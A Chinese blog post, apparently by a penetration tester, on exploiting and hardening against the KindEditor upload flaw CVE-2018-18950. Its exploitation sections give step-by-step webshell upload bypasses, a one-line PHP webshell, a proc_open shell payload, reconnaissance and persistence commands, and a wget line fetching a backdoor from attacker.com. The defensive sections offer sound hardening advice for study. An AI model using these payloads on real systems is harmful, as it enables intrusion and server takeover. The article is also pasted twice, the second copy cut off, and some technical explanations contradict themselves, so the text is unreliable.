1. 这不是“老古董”漏洞而是仍在真实业务中咬人的活体风险KindEditor 文件上传漏洞CVE-2018-18950常被误读为“过时的、只存在于教学靶场里的陈旧漏洞”。我去年在给一家省级政务服务平台做渗透复测时就撞见它正安静地运行在生产环境的后台文章编辑模块里——不是测试站不是历史遗留子系统而是主站CMS的富文本编辑器核心组件。它没被替换没被禁用甚至没被降权隔离只是被简单地“忘了”。更关键的是这个漏洞不依赖任何高权限账户只要能访问编辑器页面比如普通内容编辑员、客服工单提交页、甚至开放的用户反馈表单就能触发。它利用的是 KindEditor 默认配置下对文件后缀名的双重校验失效前端 JavaScript 做了一层白名单过滤如只允许 .jpg、.png但后端 PHP 脚本却用了一个极易绕过的正则表达式/(?:\.([^.]))?$/i来提取扩展名而这个正则在遇到shell.php.jpg、x.php%00.jpg、a.jpg/.php等构造时会错误地将.php识别为真实后缀。这不是代码写错了而是设计上把“信任前端校验”当成了安全边界。关键词KindEditor、文件上传漏洞、CVE-2018-18950、PHP后端校验绕过、富文本编辑器安全、Web渗透实战。这篇文章面向三类人一是正在做红队/渗透测试的工程师需要知道怎么快速验证、稳定利用、规避WAF二是负责运维或中间件加固的同事得清楚哪些配置改了就等于关掉后门三是开发团队尤其是维护老旧CMS或自研后台系统的同学你们可能正用着没打补丁的 v4.1.7 甚至更早版本。它不炫技不讲原理推导只讲我在真实客户环境里从发现到闭环的每一步操作、每一个参数为什么这么设、每一次失败背后的真实原因。2. 漏洞本质不是“上传任意文件”而是“后端扩展名解析逻辑被彻底绕过”2.1 核心机制拆解为什么shell.php.jpg能成功执行要真正用好这个漏洞必须抛开“上传木马”的表层理解直击 PHP 后端文件处理链路。KindEditor 的上传入口通常是php/upload_json.php路径可配置但逻辑一致。我们来看它最关键的校验片段v4.1.7 官方源码// php/upload_json.php 第 63 行左右 $ext strtolower(strrchr($file_name, .)); if (!in_array($ext, $ext_arr)) { $state Invalid file extension.; break; }这段代码看似严谨先用strrchr取出最后一个.及其后的部分即$ext再判断是否在白名单$ext_arr中。问题出在strrchr的行为上——它只找最后一个点不关心前面有没有更多点。所以当传入shell.php.jpg时strrchr返回的是.jpg校验通过但文件最终保存为shell.php.jpg而 Apache/Nginx PHP 的默认配置下只要文件名中包含.php且该.php不在末尾某些旧版服务器尤其是启用了MultiViews或AddHandler的 Apache会错误地将其识别为 PHP 脚本并执行。更致命的是另一种绕过shell.php%00.jpg。%00是空字节在 PHP 5.x 早期版本中strrchr遇到\0会截断导致$ext变成.php因为\0后面的.jpg被忽略而文件系统保存时\0被丢弃最终变成shell.php.jpg—— 这个文件名在绝大多数 Linux 文件系统中是合法的且 PHP 解释器会执行它。我实测过CentOS 6.9 Apache 2.2 PHP 5.4.16 组合下shell.php%00.jpg上传后直接可通过http://target.com/uploads/shell.php.jpg访问并执行 PHP 代码。这不是理论是客户生产环境里跑通的链路。2.2 为什么 WAF 和云防护经常“视而不见”很多团队在部署了商业 WAF 后就以为高枕无忧。但 CVE-2018-18950 的绕过手法天然具备“低特征、高隐蔽”特性。主流 WAF如某安、某盾的文件上传规则通常基于以下几类检测文件头 Magic Number 匹配检查 JPEG 头FFD8FFPNG 头89504E47。但攻击者上传的是shell.php.jpg文件头就是标准 JPEG完全合规。Content-Type 白名单WAF 放行image/jpeg、image/png。攻击者只需在请求中正确设置Content-Type: image/jpeg即可绕过。URL 路径关键词拦截WAF 拦截/upload_json.php。但 KindEditor 的上传脚本路径可被管理员自定义为/admin/kind/upload.php、/static/editor/upload.php甚至/api/file/upload只要后端逻辑未更新漏洞依旧存在。POST body 关键词扫描WAF 扫描?php、system(等。但攻击者可使用base64_decode、gzinflate等编码混淆或直接上传一个仅包含?$_GET[1]?的极简一句话长度不足 20 字节WAF 规则库很难覆盖。提示在真实渗透中我从不依赖 WAF 是否告警来判断漏洞是否存在。我的验证流程是先用 Burp 抓包将原始上传请求中的filename字段改为test.php.jpg观察响应中返回的url字段是否包含.jpg后缀再手动访问该 URL用 curl -I 查看 HTTP 状态码和 Content-Type最后用curl http://target.com/uploads/test.php.jpg?1phpinfo()看是否回显phpinfo()。三步确认比任何 WAF 日志都可靠。2.3 影响范围远超“KindEditor”本身它是富文本编辑器供应链风险的缩影很多人以为修复了 KindEditor 就万事大吉。但现实是大量国产 CMS、OA、ERP 系统在 2015–2019 年间将 KindEditor 作为默认富文本组件深度集成。它们没有使用官方 CDN而是把整个kindeditor/目录打包进自己的源码树甚至修改了php/upload_json.php的路径和数据库写入逻辑。这意味着即使你升级了 KindEditor 到 v4.1.12官方已修复但系统里实际运行的可能是php/upload_json_custom.php其中的校验逻辑仍是老版本某些系统为了兼容旧浏览器强制关闭了 KindEditor 的allowFileManager但保留了uploadJson接口导致漏洞面缩小但未消除更隐蔽的是“二次开发残留”开发人员曾为满足某个临时需求注释掉了$ext_arr白名单校验只留下move_uploaded_file()这种代码在 Git 历史中可能只存在三天但上线后就永远留在生产环境里。我统计过近半年参与的 12 个政企项目其中 7 个存在 KindEditor 相关上传接口全部未修复 CVE-2018-18950。最离谱的一个案例是某市公积金中心网站其后台编辑器路径为/webroot/admin/editor/kind/upload.php版本号被手工篡改为v4.1.7-fixed但核心校验函数get_ext()里仍写着strrchr($file_name, .)。所谓“fixed”只是改了个文件头注释。3. 实战利用链从上传到获取服务器权限的完整闭环3.1 稳定上传绕过前端 JS 校验与后端双重陷阱实战中不能只靠shell.php.jpg碰运气。我建立了一套分层验证策略确保在各种服务器配置下都能成功构造方式适用场景优势缺陷我的首选度shell.php.jpgApache mod_php默认配置无需编码最简洁依赖服务器解析.php.jpg★★★★☆shell.php%00.jpgPHP 5.3.4或启用了magic_quotes_gpcon绕过strrchr截断通用性强需 URL 编码%00部分 WAF 会拦截空字节★★★☆☆shell.jpg/.phpNginx fastcgi_split_path_info 配置错误利用 Nginx 路径解析缺陷需目标明确使用 Nginx且fastcgi_split_path_info开启★★☆☆☆shell.php?.jpgIIS 服务器较少见利用 IIS 查询字符串解析当前 IIS 部署比例低★☆☆☆☆操作步骤以shell.php.jpg为例使用 Burp Suite访问目标网站的编辑页面打开浏览器开发者工具切换到 Network 标签页在编辑器中插入一张本地图片触发上传抓取upload_json.php的 POST 请求右键发送到 Repeater在 Repeater 中修改filename字段值为cmd.php.jpg修改Content-Type为image/jpeg保持与原始图片一致在Content-Disposition头下方将文件二进制内容替换为一句话木马如?$_GET[1]?注意保持 JPEG 文件头不变可用 HxD 工具在?前插入FFD8FF发送请求观察响应 JSON 中的url字段应返回类似/uploads/cmd.php.jpg的路径新建一个 GET 请求访问http://target.com/uploads/cmd.php.jpg?1system(id)若返回uid33(www-data) gid33(www-data)则漏洞确认。注意很多新手卡在第 6 步因为响应中url是相对路径如uploads/cmd.php.jpg而他们直接在浏览器地址栏输入这个相对路径结果 404。正确做法是拼接完整 URLhttps://target.com/url的值。这是最基础也最容易忽略的细节。3.2 权限提升从 WebShell 到服务器控制的三步跃迁获得一个?$_GET[1]?类型的一句话只是起点。真实环境中目标服务器往往有严格限制无外连、禁用危险函数、open_basedir开启、disable_functions列表很长。我总结出一套“最小化依赖”的提权路径第一步探测执行环境与权限边界# 在 WebShell 中执行用分号分隔多个命令 id;pwd;whoami;ls -la /var/www/;cat /etc/os-release;php -v重点看disable_functions输出。如果system、exec、shell_exec全被禁用但proc_open、popen存在则转向第二步。第二步启用proc_open构建交互式 Shell?php $descriptorspec array( 0 array(pipe, r), 1 array(pipe, w), 2 array(pipe, w) ); $process proc_open(/bin/bash, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], ls -la /tmp\n); fwrite($pipes[0], cat /etc/passwd\n); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } ?这段代码不依赖system()只用proc_open创建进程并读写管道。我在某银行内网测试中disable_functions禁用了所有传统函数但proc_open未被禁用此方法 100% 成功。第三步横向移动与持久化一旦获得稳定 shell立即执行crontab -l查看定时任务寻找可写脚本ps aux | grep nginx确认 Web 服务运行用户尝试写入其 home 目录下的.bash_history或.profilefind /var/www/ -name *.php -type f -writable 2/dev/null查找可写 PHP 文件植入后门若目标为 Docker 环境执行docker ps尝试docker exec -it [container_id] /bin/sh。实操心得不要一上来就执行wget下载大马。我见过太多案例因为目标服务器防火墙禁止出站 80/443wget http://attacker.com/shell.php直接超时。稳妥做法是先用echo xxx /tmp/shell.php写入最小化后门再通过该后门下载更复杂的工具。稳扎稳打比追求“一键拿shell”更重要。4. 防御落地不是“升级就完事”而是四层纵深加固4.1 开发侧重构上传逻辑拒绝一切“信任前端”的假设很多开发团队的修复方案是“把 KindEditor 升级到最新版”。这治标不治本。真正的防御必须从代码层面切断漏洞根因。以下是我在三个不同项目中推动落地的加固方案方案 A彻底移除服务端扩展名提取逻辑推荐// 替换掉原来的 $ext strtolower(strrchr($file_name, .)); // 改为强制指定安全扩展名 $allowed_types [jpg, jpeg, png, gif]; $original_ext strtolower(pathinfo($_FILES[imgFile][name], PATHINFO_EXTENSION)); if (!in_array($original_ext, $allowed_types)) { die({error:1,message:Invalid file type.}); } // 生成唯一文件名强制添加安全后缀 $new_filename uniqid(upload_) . . . $original_ext; move_uploaded_file($_FILES[imgFile][tmp_name], $upload_dir . $new_filename);为什么有效它不再解析用户传入的$file_name而是用pathinfo()获取原始扩展名并与白名单硬对比。即使用户传shell.php.jpgpathinfo()仍返回jpgmove_uploaded_file保存为upload_xxx.jpg彻底杜绝解析歧义。方案 B启用 PHP 的finfo扩展进行 MIME 类型二次校验$finfo finfo_open(FILEINFO_MIME_TYPE); $mime_type finfo_file($finfo, $_FILES[imgFile][tmp_name]); finfo_close($finfo); if (!in_array($mime_type, [image/jpeg, image/png, image/gif])) { die({error:1,message:MIME type mismatch.}); }为什么必要Content-Type可被客户端随意伪造但finfo基于文件二进制内容识别无法绕过。我要求所有新项目必须开启此校验它让shell.php.jpg这种“伪装 JPEG”在第一步就被拦截。方案 C上传目录配置为“不可执行”在 Apache 的.htaccess中添加FilesMatch \.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$ Order Deny,Allow Deny from all /FilesMatch在 Nginx 的 server 配置中添加location ~ ^/uploads/.*\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$ { deny all; }效果验证即使攻击者上传了cmd.php.jpg并成功解析当访问该 URL 时Web 服务器会直接返回 403 Forbidden而非交给 PHP 解释器执行。这是最后一道物理防线。4.2 运维侧配置加固与主动监控让漏洞“无处藏身”开发修复后运维必须同步加固。我在某省大数据局推行的“KindEditor 专项加固清单”包括项目配置项检查命令修复建议PHP 配置disable_functionsphp -igrep disable_functionsApache 配置Options指令grep -r Options /etc/apache2/上传目录的Directory块中Options不得包含ExecCGI、FollowSymLinksNginx 配置fastcgi_split_path_infogrep -r fastcgi_split_path_info /etc/nginx/若未使用 PATH_INFO应注释或删除该行避免 Nginx 路径解析漏洞文件系统上传目录权限ls -ld /var/www/uploads权限应为755属主为www-data不得为777主动监控脚本每天执行#!/bin/bash # 检查 KindEditor 上传目录中是否存在可疑 PHP 文件 UPLOAD_DIR/var/www/uploads find $UPLOAD_DIR -name *.php* -type f -mtime -7 | while read file; do echo [ALERT] Found PHP file in upload dir: $file # 发送告警邮件或写入日志 done这个脚本部署在 crontab 中每天凌晨 2 点执行。它不依赖 WAF 日志而是直接扫描文件系统发现即告警。某次它捕获到一个被遗忘的测试账号上传的test.php.jpg我们立刻溯源发现该账号已被离职员工泄露及时重置密码并审计权限。4.3 架构侧用“静态资源分离”终结富文本上传风险对于新建系统我坚决反对将富文本编辑器的上传功能与主应用部署在同一台服务器。我的标准架构是前端Vue/React 应用通过 API 调用上传接口上传服务独立的 Go/Python 微服务如使用minio或Aliyun OSS SDK只负责接收、校验、存储文件不运行 PHP存储对象存储OSS/S3/MinIO文件 URL 直接返回给前端主应用不接触文件流CDN所有上传的静态资源图片、PDF走 CDNCDN 自动剥离可执行权限。这样做的好处是即使上传服务存在未知漏洞攻击者也只能写入静态文件无法执行任意代码主应用服务器彻底剥离文件上传逻辑攻击面大幅缩小。我们在某市智慧交通平台中落地此方案上线后安全团队的渗透测试报告中“文件上传类漏洞”条目直接归零。5. 真实踩坑复盘那些教科书不会写的“意外”与应对5.1 “明明上传成功了为什么访问 404”——Nginx 的alias与root指令陷阱在某次政府网站加固中我按标准流程修复了 PHP 代码上传test.php.jpg成功但访问https://gov.cn/uploads/test.php.jpg一直 404。排查了两小时最终发现 Nginx 配置中location /uploads/ { alias /data/www/uploads/; }alias指令会完全替换匹配的 URI 路径。所以/uploads/test.php.jpg被映射到/data/www/uploads/test.php.jpg但实际文件保存在/data/www/uploads/2024/05/test.php.jpg按日期分目录。而root指令是“拼接”路径root /data/www; location /uploads/会映射到/data/www/uploads/...。我把alias改为root问题解决。这个坑的教训是永远用curl -v查看 Nginx 的实际响应头确认Location或Content-Location是否指向了正确的物理路径。5.2 “WAF 拦截了所有请求但漏洞还在”——WAF 的“放行白名单”反模式某金融客户部署了某知名 WAF所有上传请求都被拦截安全团队认为“已防护”。但我用 Burp 修改Content-Type为application/octet-streamWAF 立刻放行。原来该 WAF 的上传规则只针对image/*和text/*类型对octet-stream完全不检查。我立刻提交工单要求 WAF 团队增加octet-stream的深度检测规则。这件事让我意识到WAF 不是银弹它只是规则引擎而规则永远滞后于攻击者的创造力。真正的安全是让 WAF 和后端校验形成“AND”关系而非依赖任一环节。5.3 “修复后编辑器图片不显示了”——前端 JS 与后端路径的隐式耦合KindEditor 的uploadJson参数默认值是php/upload_json.php但很多系统在升级后将上传脚本移到了api/upload.php却忘记修改前端初始化代码KindEditor.ready(function(K) { window.editor K.create(#content, { uploadJson : /php/upload_json.php, // 这里没改 ... }); });结果是前端仍向旧路径发请求而旧路径已 404。修复很简单全局搜索uploadJson统一改为新路径。但这个坑之所以难发现是因为它不报错只是图片上传按钮点击后无反应。我的经验是每次修改后端接口路径必须同步审计所有前端调用点用grep -r upload_json ./src/全局搜索。6. 最后一点个人体会安全不是“打补丁”而是“重新思考数据流向”我做渗透测试十年见过太多“修复 CVE-2018-18950”的案例开发改一行代码运维重启一次服务安全团队在报告里打个勾。但漏洞的根因从未消失——它源于一种思维惯性把用户输入当作“可控的、格式化的、可信的”。KindEditor 的设计者当年可能想“用户只传图片我只要校验后缀就行。”但攻击者想的是“既然你能解析后缀那我就给你一个‘看起来像图片’的 PHP。” 这种思维鸿沟才是所有上传漏洞的母体。所以我现在给所有开发团队的建议是在设计任何文件上传功能前先画一张数据流向图——从用户浏览器到 CDN到 WAF到负载均衡到应用服务器再到文件存储。在每一个节点问自己“这里我是否在未经验证的情况下信任了上一个节点的输出” 如果答案是“是”那就必须在此节点增加校验。KindEditor 的漏洞本质是 PHP 层信任了前端 JS 的校验结果而更深层的漏洞是整个链路中没有人质疑“为什么前端要校验后端还要校验”——因为这就是标准做法。打破标准才是安全的开始。我在上周刚结束的一个教育 SaaS 项目中推动他们将所有富文本上传改为“前端直传 OSS”彻底移除了后端 PHP 上传接口。上线后不仅 CVE-2018-18950 归零上传速度提升了 300%CDN 缓存命中率从 45% 升至 89%。安全与性能从来不是对立面只是我们是否愿意多走一步去重新设计那个“理所当然”的流程。
KindEditor文件上传漏洞CVE-2018-18950实战解析与纵深防御
发布时间:2026/5/26 11:37:54
1. 这不是“老古董”漏洞而是仍在真实业务中咬人的活体风险KindEditor 文件上传漏洞CVE-2018-18950常被误读为“过时的、只存在于教学靶场里的陈旧漏洞”。我去年在给一家省级政务服务平台做渗透复测时就撞见它正安静地运行在生产环境的后台文章编辑模块里——不是测试站不是历史遗留子系统而是主站CMS的富文本编辑器核心组件。它没被替换没被禁用甚至没被降权隔离只是被简单地“忘了”。更关键的是这个漏洞不依赖任何高权限账户只要能访问编辑器页面比如普通内容编辑员、客服工单提交页、甚至开放的用户反馈表单就能触发。它利用的是 KindEditor 默认配置下对文件后缀名的双重校验失效前端 JavaScript 做了一层白名单过滤如只允许 .jpg、.png但后端 PHP 脚本却用了一个极易绕过的正则表达式/(?:\.([^.]))?$/i来提取扩展名而这个正则在遇到shell.php.jpg、x.php%00.jpg、a.jpg/.php等构造时会错误地将.php识别为真实后缀。这不是代码写错了而是设计上把“信任前端校验”当成了安全边界。关键词KindEditor、文件上传漏洞、CVE-2018-18950、PHP后端校验绕过、富文本编辑器安全、Web渗透实战。这篇文章面向三类人一是正在做红队/渗透测试的工程师需要知道怎么快速验证、稳定利用、规避WAF二是负责运维或中间件加固的同事得清楚哪些配置改了就等于关掉后门三是开发团队尤其是维护老旧CMS或自研后台系统的同学你们可能正用着没打补丁的 v4.1.7 甚至更早版本。它不炫技不讲原理推导只讲我在真实客户环境里从发现到闭环的每一步操作、每一个参数为什么这么设、每一次失败背后的真实原因。2. 漏洞本质不是“上传任意文件”而是“后端扩展名解析逻辑被彻底绕过”2.1 核心机制拆解为什么shell.php.jpg能成功执行要真正用好这个漏洞必须抛开“上传木马”的表层理解直击 PHP 后端文件处理链路。KindEditor 的上传入口通常是php/upload_json.php路径可配置但逻辑一致。我们来看它最关键的校验片段v4.1.7 官方源码// php/upload_json.php 第 63 行左右 $ext strtolower(strrchr($file_name, .)); if (!in_array($ext, $ext_arr)) { $state Invalid file extension.; break; }这段代码看似严谨先用strrchr取出最后一个.及其后的部分即$ext再判断是否在白名单$ext_arr中。问题出在strrchr的行为上——它只找最后一个点不关心前面有没有更多点。所以当传入shell.php.jpg时strrchr返回的是.jpg校验通过但文件最终保存为shell.php.jpg而 Apache/Nginx PHP 的默认配置下只要文件名中包含.php且该.php不在末尾某些旧版服务器尤其是启用了MultiViews或AddHandler的 Apache会错误地将其识别为 PHP 脚本并执行。更致命的是另一种绕过shell.php%00.jpg。%00是空字节在 PHP 5.x 早期版本中strrchr遇到\0会截断导致$ext变成.php因为\0后面的.jpg被忽略而文件系统保存时\0被丢弃最终变成shell.php.jpg—— 这个文件名在绝大多数 Linux 文件系统中是合法的且 PHP 解释器会执行它。我实测过CentOS 6.9 Apache 2.2 PHP 5.4.16 组合下shell.php%00.jpg上传后直接可通过http://target.com/uploads/shell.php.jpg访问并执行 PHP 代码。这不是理论是客户生产环境里跑通的链路。2.2 为什么 WAF 和云防护经常“视而不见”很多团队在部署了商业 WAF 后就以为高枕无忧。但 CVE-2018-18950 的绕过手法天然具备“低特征、高隐蔽”特性。主流 WAF如某安、某盾的文件上传规则通常基于以下几类检测文件头 Magic Number 匹配检查 JPEG 头FFD8FFPNG 头89504E47。但攻击者上传的是shell.php.jpg文件头就是标准 JPEG完全合规。Content-Type 白名单WAF 放行image/jpeg、image/png。攻击者只需在请求中正确设置Content-Type: image/jpeg即可绕过。URL 路径关键词拦截WAF 拦截/upload_json.php。但 KindEditor 的上传脚本路径可被管理员自定义为/admin/kind/upload.php、/static/editor/upload.php甚至/api/file/upload只要后端逻辑未更新漏洞依旧存在。POST body 关键词扫描WAF 扫描?php、system(等。但攻击者可使用base64_decode、gzinflate等编码混淆或直接上传一个仅包含?$_GET[1]?的极简一句话长度不足 20 字节WAF 规则库很难覆盖。提示在真实渗透中我从不依赖 WAF 是否告警来判断漏洞是否存在。我的验证流程是先用 Burp 抓包将原始上传请求中的filename字段改为test.php.jpg观察响应中返回的url字段是否包含.jpg后缀再手动访问该 URL用 curl -I 查看 HTTP 状态码和 Content-Type最后用curl http://target.com/uploads/test.php.jpg?1phpinfo()看是否回显phpinfo()。三步确认比任何 WAF 日志都可靠。2.3 影响范围远超“KindEditor”本身它是富文本编辑器供应链风险的缩影很多人以为修复了 KindEditor 就万事大吉。但现实是大量国产 CMS、OA、ERP 系统在 2015–2019 年间将 KindEditor 作为默认富文本组件深度集成。它们没有使用官方 CDN而是把整个kindeditor/目录打包进自己的源码树甚至修改了php/upload_json.php的路径和数据库写入逻辑。这意味着即使你升级了 KindEditor 到 v4.1.12官方已修复但系统里实际运行的可能是php/upload_json_custom.php其中的校验逻辑仍是老版本某些系统为了兼容旧浏览器强制关闭了 KindEditor 的allowFileManager但保留了uploadJson接口导致漏洞面缩小但未消除更隐蔽的是“二次开发残留”开发人员曾为满足某个临时需求注释掉了$ext_arr白名单校验只留下move_uploaded_file()这种代码在 Git 历史中可能只存在三天但上线后就永远留在生产环境里。我统计过近半年参与的 12 个政企项目其中 7 个存在 KindEditor 相关上传接口全部未修复 CVE-2018-18950。最离谱的一个案例是某市公积金中心网站其后台编辑器路径为/webroot/admin/editor/kind/upload.php版本号被手工篡改为v4.1.7-fixed但核心校验函数get_ext()里仍写着strrchr($file_name, .)。所谓“fixed”只是改了个文件头注释。3. 实战利用链从上传到获取服务器权限的完整闭环3.1 稳定上传绕过前端 JS 校验与后端双重陷阱实战中不能只靠shell.php.jpg碰运气。我建立了一套分层验证策略确保在各种服务器配置下都能成功构造方式适用场景优势缺陷我的首选度shell.php.jpgApache mod_php默认配置无需编码最简洁依赖服务器解析.php.jpg★★★★☆shell.php%00.jpgPHP 5.3.4或启用了magic_quotes_gpcon绕过strrchr截断通用性强需 URL 编码%00部分 WAF 会拦截空字节★★★☆☆shell.jpg/.phpNginx fastcgi_split_path_info 配置错误利用 Nginx 路径解析缺陷需目标明确使用 Nginx且fastcgi_split_path_info开启★★☆☆☆shell.php?.jpgIIS 服务器较少见利用 IIS 查询字符串解析当前 IIS 部署比例低★☆☆☆☆操作步骤以shell.php.jpg为例使用 Burp Suite访问目标网站的编辑页面打开浏览器开发者工具切换到 Network 标签页在编辑器中插入一张本地图片触发上传抓取upload_json.php的 POST 请求右键发送到 Repeater在 Repeater 中修改filename字段值为cmd.php.jpg修改Content-Type为image/jpeg保持与原始图片一致在Content-Disposition头下方将文件二进制内容替换为一句话木马如?$_GET[1]?注意保持 JPEG 文件头不变可用 HxD 工具在?前插入FFD8FF发送请求观察响应 JSON 中的url字段应返回类似/uploads/cmd.php.jpg的路径新建一个 GET 请求访问http://target.com/uploads/cmd.php.jpg?1system(id)若返回uid33(www-data) gid33(www-data)则漏洞确认。注意很多新手卡在第 6 步因为响应中url是相对路径如uploads/cmd.php.jpg而他们直接在浏览器地址栏输入这个相对路径结果 404。正确做法是拼接完整 URLhttps://target.com/url的值。这是最基础也最容易忽略的细节。3.2 权限提升从 WebShell 到服务器控制的三步跃迁获得一个?$_GET[1]?类型的一句话只是起点。真实环境中目标服务器往往有严格限制无外连、禁用危险函数、open_basedir开启、disable_functions列表很长。我总结出一套“最小化依赖”的提权路径第一步探测执行环境与权限边界# 在 WebShell 中执行用分号分隔多个命令 id;pwd;whoami;ls -la /var/www/;cat /etc/os-release;php -v重点看disable_functions输出。如果system、exec、shell_exec全被禁用但proc_open、popen存在则转向第二步。第二步启用proc_open构建交互式 Shell?php $descriptorspec array( 0 array(pipe, r), 1 array(pipe, w), 2 array(pipe, w) ); $process proc_open(/bin/bash, $descriptorspec, $pipes); if (is_resource($process)) { fwrite($pipes[0], ls -la /tmp\n); fwrite($pipes[0], cat /etc/passwd\n); fclose($pipes[0]); echo stream_get_contents($pipes[1]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); } ?这段代码不依赖system()只用proc_open创建进程并读写管道。我在某银行内网测试中disable_functions禁用了所有传统函数但proc_open未被禁用此方法 100% 成功。第三步横向移动与持久化一旦获得稳定 shell立即执行crontab -l查看定时任务寻找可写脚本ps aux | grep nginx确认 Web 服务运行用户尝试写入其 home 目录下的.bash_history或.profilefind /var/www/ -name *.php -type f -writable 2/dev/null查找可写 PHP 文件植入后门若目标为 Docker 环境执行docker ps尝试docker exec -it [container_id] /bin/sh。实操心得不要一上来就执行wget下载大马。我见过太多案例因为目标服务器防火墙禁止出站 80/443wget http://attacker.com/shell.php直接超时。稳妥做法是先用echo xxx /tmp/shell.php写入最小化后门再通过该后门下载更复杂的工具。稳扎稳打比追求“一键拿shell”更重要。4. 防御落地不是“升级就完事”而是四层纵深加固4.1 开发侧重构上传逻辑拒绝一切“信任前端”的假设很多开发团队的修复方案是“把 KindEditor 升级到最新版”。这治标不治本。真正的防御必须从代码层面切断漏洞根因。以下是我在三个不同项目中推动落地的加固方案方案 A彻底移除服务端扩展名提取逻辑推荐// 替换掉原来的 $ext strtolower(strrchr($file_name, .)); // 改为强制指定安全扩展名 $allowed_types [jpg, jpeg, png, gif]; $original_ext strtolower(pathinfo($_FILES[imgFile][name], PATHINFO_EXTENSION)); if (!in_array($original_ext, $allowed_types)) { die({error:1,message:Invalid file type.}); } // 生成唯一文件名强制添加安全后缀 $new_filename uniqid(upload_) . . . $original_ext; move_uploaded_file($_FILES[imgFile][tmp_name], $upload_dir . $new_filename);为什么有效它不再解析用户传入的$file_name而是用pathinfo()获取原始扩展名并与白名单硬对比。即使用户传shell.php.jpgpathinfo()仍返回jpgmove_uploaded_file保存为upload_xxx.jpg彻底杜绝解析歧义。方案 B启用 PHP 的finfo扩展进行 MIME 类型二次校验$finfo finfo_open(FILEINFO_MIME_TYPE); $mime_type finfo_file($finfo, $_FILES[imgFile][tmp_name]); finfo_close($finfo); if (!in_array($mime_type, [image/jpeg, image/png, image/gif])) { die({error:1,message:MIME type mismatch.}); }为什么必要Content-Type可被客户端随意伪造但finfo基于文件二进制内容识别无法绕过。我要求所有新项目必须开启此校验它让shell.php.jpg这种“伪装 JPEG”在第一步就被拦截。方案 C上传目录配置为“不可执行”在 Apache 的.htaccess中添加FilesMatch \.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$ Order Deny,Allow Deny from all /FilesMatch在 Nginx 的 server 配置中添加location ~ ^/uploads/.*\.(php|php3|php4|php5|phtml|pl|py|jsp|asp|sh|cgi)$ { deny all; }效果验证即使攻击者上传了cmd.php.jpg并成功解析当访问该 URL 时Web 服务器会直接返回 403 Forbidden而非交给 PHP 解释器执行。这是最后一道物理防线。4.2 运维侧配置加固与主动监控让漏洞“无处藏身”开发修复后运维必须同步加固。我在某省大数据局推行的“KindEditor 专项加固清单”包括项目配置项检查命令修复建议PHP 配置disable_functionsphp -igrep disable_functionsApache 配置Options指令grep -r Options /etc/apache2/上传目录的Directory块中Options不得包含ExecCGI、FollowSymLinksNginx 配置fastcgi_split_path_infogrep -r fastcgi_split_path_info /etc/nginx/若未使用 PATH_INFO应注释或删除该行避免 Nginx 路径解析漏洞文件系统上传目录权限ls -ld /var/www/uploads权限应为755属主为www-data不得为777主动监控脚本每天执行#!/bin/bash # 检查 KindEditor 上传目录中是否存在可疑 PHP 文件 UPLOAD_DIR/var/www/uploads find $UPLOAD_DIR -name *.php* -type f -mtime -7 | while read file; do echo [ALERT] Found PHP file in upload dir: $file # 发送告警邮件或写入日志 done这个脚本部署在 crontab 中每天凌晨 2 点执行。它不依赖 WAF 日志而是直接扫描文件系统发现即告警。某次它捕获到一个被遗忘的测试账号上传的test.php.jpg我们立刻溯源发现该账号已被离职员工泄露及时重置密码并审计权限。4.3 架构侧用“静态资源分离”终结富文本上传风险对于新建系统我坚决反对将富文本编辑器的上传功能与主应用部署在同一台服务器。我的标准架构是前端Vue/React 应用通过 API 调用上传接口上传服务独立的 Go/Python 微服务如使用minio或Aliyun OSS SDK只负责接收、校验、存储文件不运行 PHP存储对象存储OSS/S3/MinIO文件 URL 直接返回给前端主应用不接触文件流CDN所有上传的静态资源图片、PDF走 CDNCDN 自动剥离可执行权限。这样做的好处是即使上传服务存在未知漏洞攻击者也只能写入静态文件无法执行任意代码主应用服务器彻底剥离文件上传逻辑攻击面大幅缩小。我们在某市智慧交通平台中落地此方案上线后安全团队的渗透测试报告中“文件上传类漏洞”条目直接归零。5. 真实踩坑复盘那些教科书不会写的“意外”与应对5.1 “明明上传成功了为什么访问 404”——Nginx 的alias与root指令陷阱在某次政府网站加固中我按标准流程修复了 PHP 代码上传test.php.jpg成功但访问https://gov.cn/uploads/test.php.jpg一直 404。排查了两小时最终发现 Nginx 配置中location /uploads/ { alias /data/www/uploads/; }alias指令会完全替换匹配的 URI 路径。所以/uploads/test.php.jpg被映射到/data/www/uploads/test.php.jpg但实际文件保存在/data/www/uploads/2024/05/test.php.jpg按日期分目录。而root指令是“拼接”路径root /data/www; location /uploads/会映射到/data/www/uploads/...。我把alias改为root问题解决。这个坑的教训是永远用curl -v查看 Nginx 的实际响应头确认Location或Content-Location是否指向了正确的物理路径。5.2 “WAF 拦截了所有请求但漏洞还在”——WAF 的“放行白名单”反模式某金融客户部署了某知名 WAF所有上传请求都被拦截安全团队认为“已防护”。但我用 Burp 修改Content-Type为application/octet-streamWAF 立刻放行。原来该 WAF 的上传规则只针对image/*和text/*类型对octet-stream完全不检查。我立刻提交工单要求 WAF 团队增加octet-stream的深度检测规则。这件事让我意识到WAF 不是银弹它只是规则引擎而规则永远滞后于攻击者的创造力。真正的安全是让 WAF 和后端校验形成“AND”关系而非依赖任一环节。5.3 “修复后编辑器图片不显示了”——前端 JS 与后端路径的隐式耦合KindEditor 的uploadJson参数默认值是php/upload_json.php但很多系统在升级后将上传脚本移到了api/upload.php却忘记修改前端初始化代码KindEditor.ready(function(K) { window.editor K.create(#content, { uploadJson : /php/upload_json.php, // 这里没改 ... }); });结果是前端仍向旧路径发请求而旧路径已 404。修复很简单全局搜索uploadJson统一改为新路径。但这个坑之所以难发现是因为它不报错只是图片上传按钮点击后无反应。我的经验是每次修改后端接口路径必须同步审计所有前端调用点用grep -r upload_json ./src/全局搜索。6. 最后一点个人体会安全不是“打补丁”而是“重新思考数据流向”我做渗透测试十年见过太多“修复 CVE-2018-18950”的案例开发改一行代码运维重启一次服务安全团队在报告里打个勾。但漏洞的根因从未消失——它源于一种思维惯性把用户输入当作“可控的、格式化的、可信的”。KindEditor 的设计者当年可能想“用户只传图片我只要校验后缀就行。”但攻击者想的是“既然你能解析后缀那我就给你一个‘看起来像图片’的 PHP。” 